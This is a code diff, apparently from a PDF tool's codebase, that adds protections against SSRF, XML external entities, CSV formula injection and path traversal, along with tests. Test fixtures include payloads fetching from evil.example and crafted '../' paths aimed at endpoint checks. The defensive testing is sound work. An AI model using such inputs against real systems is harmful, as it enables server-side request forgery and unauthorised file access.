String cleaned = new String(sanitizer.sanitize(fodt, "fodt"), StandardCharsets.UTF_8);
assertFalse(cleaned.contains(EXTERNAL_URL), "External xlink:href should be stripped");
assertTrue(cleaned.contains("Pictures/image1.png"), "Internal href should be preserved");
}
@Test
void sanitizeFlatXml_stripsExternalHref() throws IOException {
String cleaned =
new String(
sanitizer.sanitizeFlatXml(
FLAT_ODF_EXTERNAL.getBytes(StandardCharsets.UTF_8)),
StandardCharsets.UTF_8);
assertFalse(cleaned.contains(EXTERNAL_URL));
}
@Test
void sanitizeFlatXml_unparseableInputThrows() {
byte[] withDoctype =
("<?xml version=\"1.0\"?><!DOCTYPE office:document SYSTEM"
+ " \"http://evil.example/x.dtd\"><office:document/>")
.getBytes(StandardCharsets.UTF_8);
assertThrows(IOException.class, () -> sanitizer.sanitizeFlatXml(withDoctype));
}
@Test
void sanitizeZipContainer_stripsExternalRelationshipWithoutExtensionHint() throws IOException {
Map<String, byte[]> entries = new LinkedHashMap<>();
entries.put("word/_rels/document.xml.rels", DOCX_RELS.getBytes(StandardCharsets.UTF_8));
byte[] docx = zip(entries);
Map<String, byte[]> result = unzip(sanitizer.sanitizeZipContainer(docx));
String rels =
new String(result.get("word/_rels/document.xml.rels"), StandardCharsets.UTF_8);
assertFalse(rels.contains(EXTERNAL_URL));
}
private static byte[] zip(Map<String, byte[]> entries) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try (ZipOutputStream zos = new ZipOutputStream(baos)) {
@@ -190,6 +190,55 @@ class RequestUriUtilsTest {
assertTrue(RequestUriUtils.isPublicAuthEndpoint("/app/api/v1/webhooks/whk_abc123", "/app"));
}
// --- mobile scanner / mobile signature QR pairing ---
@Test
void testIsPublicAuthEndpoint_mobileScannerPhoneEndpoints() {
// The phone has no login: it validates the QR session, then uploads to it.
assertTrue(
RequestUriUtils.isPublicAuthEndpoint(
"/api/v1/mobile-scanner/validate-session/2f1c9a3b-4d5e", ""));
assertTrue(
RequestUriUtils.isPublicAuthEndpoint(
"/api/v1/mobile-scanner/upload/2f1c9a3b-4d5e", ""));
assertTrue(
RequestUriUtils.isPublicAuthEndpoint(
"/app/api/v1/mobile-scanner/upload/2f1c9a3b-4d5e", "/app"));
}
@Test
void testIsPublicAuthEndpoint_mobileScannerDesktopEndpointsProtected() {
// Desktop calls these through the authenticated api client - they must not be anonymous
assertFalse(
RequestUriUtils.isPublicAuthEndpoint(
"/api/v1/mobile-scanner/create-session/abc-123", ""));
assertFalse(
RequestUriUtils.isPublicAuthEndpoint("/api/v1/mobile-scanner/files/abc-123", ""));
assertFalse(
RequestUriUtils.isPublicAuthEndpoint(
"/api/v1/mobile-scanner/download/abc-123/scan.jpg", ""));
assertFalse(
RequestUriUtils.isPublicAuthEndpoint("/api/v1/mobile-scanner/session/abc-123", ""));
}
@Test
void testIsPublicAuthEndpoint_mobileScannerCraftedPathsNotPublic() {
// A prefix match on the public paths must not smuggle in a download
assertFalse(
RequestUriUtils.isPublicAuthEndpoint(
"/api/v1/mobile-scanner/upload/../download/abc-123/scan.jpg", ""));
assertFalse(
RequestUriUtils.isPublicAuthEndpoint(
"/api/v1/mobile-scanner/upload/abc-123/../../download/abc-123/scan.jpg",
""));
assertFalse(
RequestUriUtils.isPublicAuthEndpoint(
"/api/v1/mobile-scanner/validate-session/abc-123/files", ""));
assertFalse(RequestUriUtils.isPublicAuthEndpoint("/api/v1/mobile-scanner/upload", ""));
assertFalse(RequestUriUtils.isPublicAuthEndpoint("/api/v1/mobile-scanner/uploads/abc", ""));
assertFalse(RequestUriUtils.isPublicAuthEndpoint("/api/v1/mobile-scanner/", ""));
}
@Test
void testIsPublicAuthEndpoint_withContextPath() {
assertTrue(RequestUriUtils.isPublicAuthEndpoint("/app/login", "/app"));
@@ -2,6 +2,7 @@ package stirling.software.SPDF.controller.api.converters;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
@@ -41,6 +42,7 @@ import stirling.software.common.util.OfficeDocumentSanitizer;
import stirling.software.common.util.ProcessExecutor;
import stirling.software.common.util.ProcessExecutor.ProcessExecutorResult;
import stirling.software.common.util.RegexPatternUtils;
import stirling.software.common.util.SvgSanitizer;
import stirling.software.common.util.TempFile;
import stirling.software.common.util.TempFileManager;
import stirling.software.common.util.WebResponseUtils;
@@ -50,13 +52,24 @@ import stirling.software.common.util.WebResponseUtils;
@Slf4j
public class ConvertOfficeController {
private static final int SNIFF_BYTES = 8192;
private final CustomPDFDocumentFactory pdfDocumentFactory;
private final RuntimePathConfig runtimePathConfig;
private final CustomHtmlSanitizer customHtmlSanitizer;
private final OfficeDocumentSanitizer officeDocumentSanitizer;
private final SvgSanitizer svgSanitizer;
private final EndpointConfiguration endpointConfiguration;
private final TempFileManager tempFileManager;
private enum SniffedContent {
ZIP_OFFICE,
FLAT_XML_OFFICE,
SVG,
HTML,
UNKNOWN
}
private boolean isUnoconvertAvailable() {
return endpointConfiguration.isGroupEnabled("Unoconvert")
|| endpointConfiguration.isGroupEnabled("Python");
@@ -87,17 +100,11 @@ public class ConvertOfficeController {
Path inputPath = workDir.resolve(baseName + "." + extensionLower);
Path outputPath = workDir.resolve(baseName + ".pdf");
// Sanitize input before LibreOffice sees it so embedded URLs can't trigger SSRF.
if ("html".equals(extensionLower) || "htm".equals(extensionLower)) {
String htmlContent = new String(inputFile.getBytes(), StandardCharsets.UTF_8);
String sanitizedHtml = customHtmlSanitizer.sanitize(htmlContent);
Files.writeString(inputPath, sanitizedHtml, StandardCharsets.UTF_8);
} else if (officeDocumentSanitizer.isSanitizableExtension(extensionLower)) {
byte[] sanitized =
officeDocumentSanitizer.sanitize(inputFile.getBytes(), extensionLower);
Files.write(inputPath, sanitized);
} else {
Files.copy(inputFile.getInputStream(), inputPath, StandardCopyOption.REPLACE_EXISTING);
try {
writeSanitizedInput(inputFile, inputPath, extensionLower);
} catch (IOException e) {
FileUtils.deleteQuietly(workDir.toFile());
throw e;
}
Path libreOfficeProfile = null;
@@ -200,6 +207,144 @@ public class ConvertOfficeController {
}
}
// Sanitize input before LibreOffice sees it so embedded URLs can't trigger SSRF.
private void writeSanitizedInput(MultipartFile inputFile, Path inputPath, String extensionLower)
throws IOException {
byte[] head;
try (InputStream in = inputFile.getInputStream()) {
head = in.readNBytes(SNIFF_BYTES);
}
SniffedContent sniffed = sniffContent(head);
boolean htmlExtension = "html".equals(extensionLower) || "htm".equals(extensionLower);
if (htmlExtension || sniffed == SniffedContent.HTML) {
String htmlContent = new String(inputFile.getBytes(), StandardCharsets.UTF_8);
String sanitizedHtml = customHtmlSanitizer.sanitize(htmlContent);
Files.writeString(inputPath, sanitizedHtml, StandardCharsets.UTF_8);
} else if (sniffed == SniffedContent.SVG) {
Files.write(inputPath, svgSanitizer.sanitize(inputFile.getBytes()));
} else if (sniffed == SniffedContent.FLAT_XML_OFFICE) {
Files.write(inputPath, officeDocumentSanitizer.sanitizeFlatXml(inputFile.getBytes()));
} else if (sniffed == SniffedContent.ZIP_OFFICE) {
Files.write(
inputPath, officeDocumentSanitizer.sanitizeZipContainer(inputFile.getBytes()));
} else if (officeDocumentSanitizer.isSanitizableExtension(extensionLower)) {
byte[] sanitized =
officeDocumentSanitizer.sanitize(inputFile.getBytes(), extensionLower);
Files.write(inputPath, sanitized);
} else {
Files.copy(inputFile.getInputStream(), inputPath, StandardCopyOption.REPLACE_EXISTING);
}
}
// LibreOffice routes on content, not extension, so sniffing decides; unknown stays as today.
private SniffedContent sniffContent(byte[] head) {
if (head == null || head.length < 4) {
return SniffedContent.UNKNOWN;
}
if (head[0] == 0x50 && head[1] == 0x4B && head[2] == 0x03 && head[3] == 0x04) {
return isOfficeZip(head) ? SniffedContent.ZIP_OFFICE : SniffedContent.UNKNOWN;
}
String rootElement = firstElementName(decodeHead(head));
if ("svg".equals(rootElement) || rootElement.endsWith(":svg")) {
return SniffedContent.SVG;
}
if (rootElement.startsWith("office:document") || "w:worddocument".equals(rootElement)) {
return SniffedContent.FLAT_XML_OFFICE;
}
if ("html".equals(rootElement)) {
return SniffedContent.HTML;
}
return SniffedContent.UNKNOWN;
}
// Only re-zip containers that look like OOXML/ODF; other archives keep the raw copy path.
private boolean isOfficeZip(byte[] head) {
if (head.length < 30) {
return false;
}
int nameLength = (head[26] & 0xFF) | ((head[27] & 0xFF) << 8);
if (nameLength <= 0 || 30 + nameLength > head.length) {
return false;
}
String firstEntry =
new String(head, 30, nameLength, StandardCharsets.ISO_8859_1)
.toLowerCase(Locale.ROOT);
return "mimetype".equals(firstEntry) || "[content_types].xml".equals(firstEntry);
}
private String decodeHead(byte[] head) {
if (head.length >= 2) {
if ((head[0] & 0xFF) == 0xFF && (head[1] & 0xFF) == 0xFE) {
return new String(head, StandardCharsets.UTF_16LE);
}
if ((head[0] & 0xFF) == 0xFE && (head[1] & 0xFF) == 0xFF) {
return new String(head, StandardCharsets.UTF_16BE);
}
}
return new String(head, StandardCharsets.UTF_8);
}
// Returns the lower-cased root element name, or empty when the input is not markup.
private String firstElementName(String prefix) {
int i = 0;
while (i < prefix.length()) {
char c = prefix.charAt(i);
if (Character.isWhitespace(c) || c == '\uFEFF') {
i++;
continue;
}
if (c != '<') {
return "";
}
if (prefix.startsWith("<?", i)) {
int end = prefix.indexOf("?>", i);
if (end < 0) {
return "";
}
i = end + 2;
continue;
}
if (prefix.startsWith("<!--", i)) {
int end = prefix.indexOf("-->", i);
if (end < 0) {
return "";
}
i = end + 3;
continue;
}
// a doctype declares the root element, so its name answers the question
if (prefix.regionMatches(true, i, "<!doctype", 0, 9)) {
return readName(prefix, skipWhitespace(prefix, i + 9));
}
if (prefix.startsWith("<!", i)) {
return "";
}
return readName(prefix, i + 1);
}
return "";
}
private int skipWhitespace(String value, int from) {
int i = from;
while (i < value.length() && Character.isWhitespace(value.charAt(i))) {
i++;
}
return i;
}
private String readName(String value, int from) {
int end = from;
while (end < value.length()) {
char c = value.charAt(end);
if (Character.isWhitespace(c) || c == '>' || c == '/') {
break;
}
end++;
}
return value.substring(from, end).toLowerCase(Locale.ROOT);
}
private boolean isValidFileExtension(String fileExtension) {
return RegexPatternUtils.getInstance()
.getFileExtensionValidationPattern()
@@ -10,8 +10,10 @@ import java.nio.file.Files;
import java.nio.file.Path;
import java.time.Duration;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
import java.util.Locale;
import java.util.Set;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
@@ -37,6 +39,7 @@ import stirling.software.common.model.ApplicationProperties;
import stirling.software.common.model.tool.ToolFormat;
import stirling.software.common.model.tool.ToolIO;
import stirling.software.common.service.CustomPDFDocumentFactory;
import stirling.software.common.service.SsrfProtectionService;
import stirling.software.common.util.ExceptionUtils;
import stirling.software.common.util.GeneralUtils;
import stirling.software.common.util.ProcessExecutor;
@@ -54,12 +57,35 @@ public class ConvertWebsiteToPDF {
private final RuntimePathConfig runtimePathConfig;
private final ApplicationProperties applicationProperties;
private final TempFileManager tempFileManager;
private final SsrfProtectionService ssrfProtectionService;
private static final Pattern FILE_SCHEME_PATTERN =
Pattern.compile("(?<![a-z0-9_])file\\s*:(?:/{1,3}|%2f|%5c|%3a|&#x2f;|&#47;)");
private static final Pattern NUMERIC_HTML_ENTITY_PATTERN = Pattern.compile("&#(x?[0-9a-f]+);");
// Tags whose resources WeasyPrint actually fetches; <a href> is deliberately excluded
private static final Pattern RESOURCE_TAG_PATTERN =
Pattern.compile(
"<\\s*(?:img|link|source|embed|object|image|input|track)\\b([^>]*)>",
Pattern.CASE_INSENSITIVE);
private static final Pattern RESOURCE_ATTRIBUTE_PATTERN =
Pattern.compile(
"\\b(?:src|srcset|href|data|poster)\\s*=\\s*(?:\"([^\"]*)\"|'([^']*)'|([^\\s>]+))",
Pattern.CASE_INSENSITIVE);
private static final Pattern CSS_URL_PATTERN =
Pattern.compile(
"url\\(\\s*(?:\"([^\"]*)\"|'([^']*)'|([^)\\s]*))\\s*\\)",
Pattern.CASE_INSENSITIVE);
private static final Pattern CSS_IMPORT_PATTERN =
Pattern.compile("@import\\s+(?:\"([^\"]*)\"|'([^']*)')", Pattern.CASE_INSENSITIVE);
private static final Pattern URI_SCHEME_PATTERN =
Pattern.compile("^([a-z][a-z0-9+.-]*):", Pattern.CASE_INSENSITIVE);
@AutoJobPostMapping(
consumes = MediaType.MULTIPART_FORM_DATA_VALUE,
value = "/url/pdf",
@@ -115,7 +141,8 @@ public class ConvertWebsiteToPDF {
// Download the remote content first to ensure we don't allow dangerous schemes
String htmlContent = fetchRemoteHtml(URL);
if (containsDisallowedUriScheme(htmlContent)) {
if (containsDisallowedUriScheme(htmlContent)
|| containsBlockedResourceReference(htmlContent, URL)) {
URI rejectionLocation =
uriComponentsBuilder
.queryParam("error", "error.disallowedUrlContent")
@@ -209,6 +236,124 @@ public class ConvertWebsiteToPDF {
return FILE_SCHEME_PATTERN.matcher(normalized).find();
}
// WeasyPrint fetches sub-resources itself, so every referenced URL needs the SSRF check too
private boolean containsBlockedResourceReference(String htmlContent, String baseUrl) {
if (htmlContent == null || htmlContent.isEmpty()) {
return false;
}
URI baseUri;
try {
baseUri = URI.create(baseUrl);
} catch (IllegalArgumentException e) {
log.debug("Unable to parse base URL for resource validation: {}", baseUrl);
return false;
}
Set<String> checkedHosts = new HashSet<>();
for (String candidate : extractResourceUrls(htmlContent)) {
if (!isResourceReferenceAllowed(candidate, baseUri, checkedHosts)) {
return true;
}
}
return false;
}
private List<String> extractResourceUrls(String htmlContent) {
List<String> urls = new ArrayList<>();
Matcher tagMatcher = RESOURCE_TAG_PATTERN.matcher(htmlContent);
while (tagMatcher.find()) {
Matcher attributeMatcher = RESOURCE_ATTRIBUTE_PATTERN.matcher(tagMatcher.group(1));
while (attributeMatcher.find()) {
addResourceCandidates(urls, firstNonNullGroup(attributeMatcher));
}
}
Matcher cssUrlMatcher = CSS_URL_PATTERN.matcher(htmlContent);
while (cssUrlMatcher.find()) {
addResourceCandidates(urls, firstNonNullGroup(cssUrlMatcher));
}
Matcher cssImportMatcher = CSS_IMPORT_PATTERN.matcher(htmlContent);
while (cssImportMatcher.find()) {
addResourceCandidates(urls, firstNonNullGroup(cssImportMatcher));
}
return urls;
}
private String firstNonNullGroup(Matcher matcher) {
for (int group = 1; group <= matcher.groupCount(); group++) {
if (matcher.group(group) != null) {
return matcher.group(group);
}
}
return null;
}
// Splits srcset candidate lists; over-splitting a plain URL is harmless as pieces stay relative
private void addResourceCandidates(List<String> urls, String attributeValue) {
if (attributeValue == null || attributeValue.isBlank()) {
return;
}
for (String entry : attributeValue.split(",")) {
String trimmed = entry.trim();
if (trimmed.isEmpty()) {
continue;
}
int descriptorStart = trimmed.indexOf(' ');
urls.add(descriptorStart > 0 ? trimmed.substring(0, descriptorStart) : trimmed);
}
}
private boolean isResourceReferenceAllowed(
String candidate, URI baseUri, Set<String> checkedHosts) {
String url = decodeUrlHtmlEntities(candidate).trim();
if (url.isEmpty() || url.startsWith("#")) {
return true;
}
Matcher schemeMatcher = URI_SCHEME_PATTERN.matcher(url);
if (schemeMatcher.find()) {
String scheme = schemeMatcher.group(1).toLowerCase(Locale.ROOT);
if ("data".equals(scheme)) {
return true;
}
if (!"http".equals(scheme) && !"https".equals(scheme)) {
log.warn("Rejected resource reference with disallowed scheme: {}", scheme);
return false;
}
}
URI resolved;
try {
resolved = baseUri.resolve(new URI(url.replace(" ", "%20")));
} catch (Exception e) {
log.debug("Skipping unparseable resource reference: {}", url);
return true;
}
String host = resolved.getHost() != null ? resolved.getHost() : resolved.getAuthority();
if (host == null) {
return true;
}
// One check per distinct host keeps the DNS lookups bounded on resource-heavy pages
if (!checkedHosts.add(host.toLowerCase(Locale.ROOT))) {
return true;
}
return ssrfProtectionService.isUrlAllowed(resolved.toString());
}
private String decodeUrlHtmlEntities(String value) {
return decodeNumericHtmlEntities(value)
.replace("&colon;", ":")
.replace("&sol;", "/")
.replace("&frasl;", "/")
.replace("&amp;", "&");
}
private String normalizeForSchemeDetection(String htmlContent) {
String lowerCaseContent = htmlContent.toLowerCase(Locale.ROOT);
String decodedHtmlEntities = decodeNumericHtmlEntities(lowerCaseContent);
@@ -35,6 +35,7 @@ import stirling.software.common.model.tool.ToolArity;
import stirling.software.common.model.tool.ToolFormat;
import stirling.software.common.model.tool.ToolIO;
import stirling.software.common.service.CustomPDFDocumentFactory;
import stirling.software.common.util.CsvUtils;
import stirling.software.common.util.GeneralUtils;
import stirling.software.common.util.WebResponseUtils;
@@ -73,7 +74,7 @@ public class ExtractCSVController {
StringWriter sw = new StringWriter();
try (CSVPrinter printer = format.print(sw)) {
for (List<String> row : fragments.get(i).rawRows()) {
printer.printRecord(row);
printer.printRecord(CsvUtils.neutraliseRow(row));
}
}
csvEntries.add(
@@ -33,6 +33,7 @@ import lombok.RequiredArgsConstructor;
import stirling.software.common.model.FormFieldWithCoordinates;
import stirling.software.common.service.CustomPDFDocumentFactory;
import stirling.software.common.util.CsvUtils;
import stirling.software.common.util.ExceptionUtils;
import stirling.software.common.util.FormUtils;
import stirling.software.common.util.TempFileManager;
@@ -184,7 +185,11 @@ public class FormFillController {
csvWriter.writeNext(header);
for (FormUtils.FormFieldInfo field : fields) {
csvWriter.writeNext(new String[] {field.name(), field.value()});
csvWriter.writeNext(
new String[] {
CsvUtils.neutraliseFormula(field.name()),
CsvUtils.neutraliseFormula(field.value())
});
}
}
@@ -132,7 +132,7 @@ public class PipelineDirectoryProcessor {
// Skip root directory and "processing" subdirectories
if (!dir.equals(watchedFolderPath)
&& !"processing".equals(dirName)) {
handleDirectory(dir);
handleDirectory(dir, watchedFolderPath);
}
} catch (Exception e) {
log.error("Error handling directory: {}", dir, e);
@@ -155,7 +155,7 @@ public class PipelineDirectoryProcessor {
}
}
public void handleDirectory(Path dir) throws IOException {
public void handleDirectory(Path dir, Path watchedRoot) throws IOException {
// Normalize path to absolute to prevent duplicate processing from different path
// representations
Path normalizedDir = dir.toAbsolutePath().normalize();
@@ -176,7 +176,7 @@ public class PipelineDirectoryProcessor {
}
Path jsonFile = jsonFileOptional.get();
PipelineConfig config = readAndParseJson(jsonFile);
processPipelineOperations(dir, processingDir, jsonFile, config);
processPipelineOperations(dir, processingDir, jsonFile, config, watchedRoot);
}
private Path createProcessingDirectory(Path dir) throws IOException {
@@ -201,10 +201,11 @@ public class PipelineDirectoryProcessor {
}
private void processPipelineOperations(
Path dir, Path processingDir, Path jsonFile, PipelineConfig config) throws IOException {
Path dir, Path processingDir, Path jsonFile, PipelineConfig config, Path watchedRoot)
throws IOException {
for (PipelineOperation operation : config.getOperations()) {
validateOperation(operation);
File[] files = collectFilesForProcessing(dir, jsonFile, operation);
File[] files = collectFilesForProcessing(dir, jsonFile, operation, watchedRoot);
if (files.length == 0) {
log.debug("No files detected for {} ", dir);
return;
@@ -229,7 +230,8 @@ public class PipelineDirectoryProcessor {
}
}
private File[] collectFilesForProcessing(Path dir, Path jsonFile, PipelineOperation operation)
private File[] collectFilesForProcessing(
Path dir, Path jsonFile, PipelineOperation operation, Path watchedRoot)
throws IOException {
List<String> inputExtensions =
@@ -289,7 +291,7 @@ public class PipelineDirectoryProcessor {
return true;
})
.map(Path::toAbsolutePath)
.filter(path -> true)
.filter(path -> isInsideWatchedRoot(path, dir, watchedRoot))
.map(Path::toFile)
.toArray(File[]::new);
log.info(
@@ -300,6 +302,27 @@ public class PipelineDirectoryProcessor {
}
}
// Symlinks stay allowed, but only while their real target is still inside the watched root or
// the scanned folder itself, so a link to an arbitrary server file is never picked up.
boolean isInsideWatchedRoot(Path path, Path dir, Path watchedRoot) {
try {
Path realPath = path.toRealPath();
if (realPath.startsWith(watchedRoot.toRealPath())
|| realPath.startsWith(dir.toRealPath())) {
return true;
}
log.warn(
"Skipping '{}': it resolves to '{}', outside the watched folder {}",
path,
realPath,
watchedRoot);
return false;
} catch (IOException e) {
log.warn("Skipping unresolvable path '{}': {}", path, e.getMessage());
return false;
}
}
private List<File> prepareFilesForProcessing(File[] files, Path processingDir)
throws IOException {
List<File> filesToProcess = new ArrayList<>();
@@ -437,7 +460,7 @@ public class PipelineDirectoryProcessor {
return outputFileName;
}
private Path determineOutputPath(PipelineConfig config, Path dir) {
Path determineOutputPath(PipelineConfig config, Path dir) {
String outputDir =
WATCHED_FOLDERS_PATTERN
.matcher(
@@ -445,7 +468,21 @@ public class PipelineDirectoryProcessor {
.replace("{outputFolder}", finishedFoldersDir)
.replace("{folderName}", dir.toString()))
.replaceAll("");
return Path.of(outputDir).isAbsolute() ? Path.of(outputDir) : Path.of(".", outputDir);
Path candidate = Path.of(outputDir);
if (candidate.isAbsolute()) {
return candidate;
}
// Anchor relative output dirs under the finished folders base so "../" cannot escape it
Path base = Path.of(finishedFoldersDir).toAbsolutePath().normalize();
Path resolved = base.resolve(candidate).normalize();
if (!resolved.startsWith(base)) {
log.warn(
"Configured outputDir '{}' resolves outside '{}', writing to the base instead",
outputDir,
base);
return base;
}
return resolved;
}
private void deleteOriginalFiles(List<File> filesToProcess, Path processingDir)
@@ -45,6 +45,7 @@ import lombok.extern.slf4j.Slf4j;
import stirling.software.common.model.ApplicationProperties;
import stirling.software.common.service.ServerCertificateServiceInterface;
import stirling.software.common.service.SsrfProtectionService;
@Service
@Slf4j
@@ -67,10 +68,14 @@ public class CertificateValidationService {
private KeyStore signingTrustAnchors; // AATL/EUTL + server cert for PDF signing
private final ServerCertificateServiceInterface serverCertificateService;
private final ApplicationProperties applicationProperties;
private final SsrfProtectionService ssrfProtectionService;
// EUTL (EU Trusted List) constants
private static final String NS_TSL = "http://uri.etsi.org/02231/v2#";
// Redirects are followed by hand, so the SSRF guard runs again on every hop
private static final int MAX_TRUST_LIST_REDIRECTS = 3;
// Qualified CA service types to import as trust anchors (per ETSI TS 119 612)
private static final Set<String> EUTL_SERVICE_TYPES =
new HashSet<>(
@@ -97,6 +102,7 @@ public class CertificateValidationService {
ApplicationProperties applicationProperties) {
this.serverCertificateService = serverCertificateService;
this.applicationProperties = applicationProperties;
this.ssrfProtectionService = new SsrfProtectionService(applicationProperties);
}
@PostConstruct
@@ -513,12 +519,10 @@ public class CertificateValidationService {
private byte[] downloadTrustList(String urlStr) {
HttpURLConnection conn = null;
try {
URL url = URI.create(urlStr).toURL();
conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("GET");
conn.setConnectTimeout(10_000);
conn.setReadTimeout(30_000);
conn.setInstanceFollowRedirects(true);
conn = openTrustListConnection(urlStr);
if (conn == null) {
return null;
}
int code = conn.getResponseCode();
if (code == HttpURLConnection.HTTP_OK) {
@@ -541,6 +545,85 @@ public class CertificateValidationService {
}
}
/**
* Open a connection to a trust list URL, following redirects manually so the SSRF guard runs on
* every hop. Returns null when a hop is rejected or the redirect budget is exhausted.
*/
private HttpURLConnection openTrustListConnection(String urlStr) throws IOException {
String currentUrl = urlStr;
for (int hop = 0; hop <= MAX_TRUST_LIST_REDIRECTS; hop++) {
if (!isTrustListUrlAllowed(currentUrl)) {
return null;
}
URL url = URI.create(currentUrl).toURL();
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("GET");
conn.setConnectTimeout(10_000);
conn.setReadTimeout(30_000);
conn.setInstanceFollowRedirects(false);
String location = redirectLocation(conn);
if (location == null) {
return conn;
}
conn.disconnect();
currentUrl = URI.create(currentUrl).resolve(location).toString();
}
log.warn("Trust list download exceeded {} redirects: {}", MAX_TRUST_LIST_REDIRECTS, urlStr);
return null;
}
/** Location header of a redirect response, or null when the response is not a redirect. */
private String redirectLocation(HttpURLConnection conn) throws IOException {
int code = conn.getResponseCode();
boolean redirect =
code == HttpURLConnection.HTTP_MOVED_PERM
|| code == HttpURLConnection.HTTP_MOVED_TEMP
|| code == HttpURLConnection.HTTP_SEE_OTHER
|| code == 307
|| code == 308;
if (!redirect) {
return null;
}
String location = conn.getHeaderField("Location");
return (location == null || location.isBlank()) ? null : location.trim();
}
/**
* TSL locations come from a remote XML document, so they get the same SSRF treatment as any
* other externally-supplied URL.
*/
private boolean isTrustListUrlAllowed(String urlStr) {
URI uri;
try {
uri = URI.create(urlStr);
} catch (IllegalArgumentException e) {
log.warn("Trust list URL is not a valid URI: {}", urlStr);
return false;
}
String scheme = uri.getScheme() == null ? "" : uri.getScheme().toLowerCase(Locale.ROOT);
if (!"http".equals(scheme) && !"https".equals(scheme)) {
log.warn("Trust list URL rejected, only http(s) is fetched: {}", urlStr);
return false;
}
String host = uri.getHost();
if (host == null || host.isBlank()) {
log.warn("Trust list URL rejected, no host: {}", urlStr);
return false;
}
if (!ssrfProtectionService.isUrlAllowed(urlStr)) {
log.warn(
"Trust list URL rejected by SSRF protection (system.html.urlSecurity): {}",
urlStr);
return false;
}
return true;
}
/**
* Parse AATL PDF, extract the embedded "SecuritySettings.xml", and import CA certs. Returns the
* number of newly-added CA certificates.
@@ -705,12 +788,10 @@ public class CertificateValidationService {
private byte[] downloadXml(String urlStr) {
HttpURLConnection conn = null;
try {
URL url = URI.create(urlStr).toURL();
conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("GET");
conn.setConnectTimeout(10_000);
conn.setReadTimeout(30_000);
conn.setInstanceFollowRedirects(true);
conn = openTrustListConnection(urlStr);
if (conn == null) {
return null;
}
int code = conn.getResponseCode();
if (code == HttpURLConnection.HTTP_OK) {
@@ -8,6 +8,7 @@ import static org.mockito.Mockito.lenient;
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.when;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
@@ -16,6 +17,8 @@ import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.List;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
import org.apache.pdfbox.pdmodel.PDDocument;
import org.apache.pdfbox.pdmodel.PDPage;
@@ -47,6 +50,7 @@ import stirling.software.common.util.OfficeDocumentSanitizer;
import stirling.software.common.util.ProcessExecutor;
import stirling.software.common.util.ProcessExecutor.ProcessExecutorResult;
import stirling.software.common.util.ProcessExecutor.Processes;
import stirling.software.common.util.SvgSanitizer;
import stirling.software.common.util.TempFile;
import stirling.software.common.util.TempFileManager;
import stirling.software.common.util.WebResponseUtils;
@@ -66,6 +70,7 @@ class ConvertOfficeControllerTest {
@Mock private RuntimePathConfig runtimePathConfig;
@Mock private CustomHtmlSanitizer customHtmlSanitizer;
@Mock private OfficeDocumentSanitizer officeDocumentSanitizer;
@Mock private SvgSanitizer svgSanitizer;
@Mock private EndpointConfiguration endpointConfiguration;
@Mock private TempFileManager tempFileManager;
@@ -77,6 +82,7 @@ class ConvertOfficeControllerTest {
runtimePathConfig,
customHtmlSanitizer,
officeDocumentSanitizer,
svgSanitizer,
endpointConfiguration,
tempFileManager);
}
@@ -450,6 +456,149 @@ class ConvertOfficeControllerTest {
}
}
@Nested
@DisplayName("content sniffing dispatch")
class ContentSniffing {
@Test
@DisplayName("html uploaded as .doc is routed through the html sanitizer")
void htmlUploadedAsDoc() throws Exception {
when(customHtmlSanitizer.sanitize(anyString())).thenReturn("<html>clean</html>");
byte[] written =
convertCapturingInput(
file(
"report.doc",
"<!DOCTYPE html><html><body>"
+ "<img src=\"http://evil.example/x\"></body></html>"));
assertThat(new String(written, StandardCharsets.UTF_8)).isEqualTo("<html>clean</html>");
Mockito.verify(customHtmlSanitizer).sanitize(anyString());
Mockito.verifyNoInteractions(svgSanitizer);
}
@Test
@DisplayName("flat ODF uploaded as .doc is routed through the flat-xml sanitizer")
void flatOdfUploadedAsDoc() throws Exception {
String flat =
"<?xml version=\"1.0\"?><office:document"
+ " xmlns:office=\"urn:oasis:names:tc:opendocument:xmlns:office:1.0\""
+ " xmlns:draw=\"urn:oasis:names:tc:opendocument:xmlns:drawing:1.0\""
+ " xmlns:xlink=\"http://www.w3.org/1999/xlink\">"
+ "<draw:image xlink:href=\"http://evil.example/x.png\"/>"
+ "</office:document>";
when(officeDocumentSanitizer.sanitizeFlatXml(any(byte[].class)))
.thenReturn("<office:document/>".getBytes(StandardCharsets.UTF_8));
byte[] written = convertCapturingInput(file("report.doc", flat));
assertThat(new String(written, StandardCharsets.UTF_8)).isEqualTo("<office:document/>");
Mockito.verify(officeDocumentSanitizer).sanitizeFlatXml(any(byte[].class));
}
@Test
@DisplayName("svg uploaded as .txt is routed through the svg sanitizer")
void svgUploadedAsTxt() throws Exception {
String svg =
"<svg xmlns=\"http://www.w3.org/2000/svg\">"
+ "<image href=\"http://evil.example/x.png\"/></svg>";
when(svgSanitizer.sanitize(any(byte[].class)))
.thenReturn("<svg/>".getBytes(StandardCharsets.UTF_8));
byte[] written = convertCapturingInput(file("evil.txt", svg));
assertThat(new String(written, StandardCharsets.UTF_8)).isEqualTo("<svg/>");
Mockito.verify(svgSanitizer).sanitize(any(byte[].class));
Mockito.verifyNoInteractions(customHtmlSanitizer);
}
@Test
@DisplayName("real docx zip is still sanitized as a zip container")
void realDocxZipStillSanitized() throws Exception {
byte[] docx = minimalOoxmlZip();
when(officeDocumentSanitizer.sanitizeZipContainer(any(byte[].class)))
.thenAnswer(inv -> inv.getArgument(0));
byte[] written = convertCapturingInput(docxFile(docx));
assertThat(written).isEqualTo(docx);
Mockito.verify(officeDocumentSanitizer).sanitizeZipContainer(any(byte[].class));
Mockito.verify(officeDocumentSanitizer, Mockito.never())
.sanitize(any(byte[].class), anyString());
}
@Test
@DisplayName("csv, txt and rtf pass through to LibreOffice untouched")
void plainFormatsPassThroughUntouched() throws Exception {
assertPassesThrough("data.csv", "a,b,c\n1,2,3\n");
assertPassesThrough("notes.txt", "just some text\n");
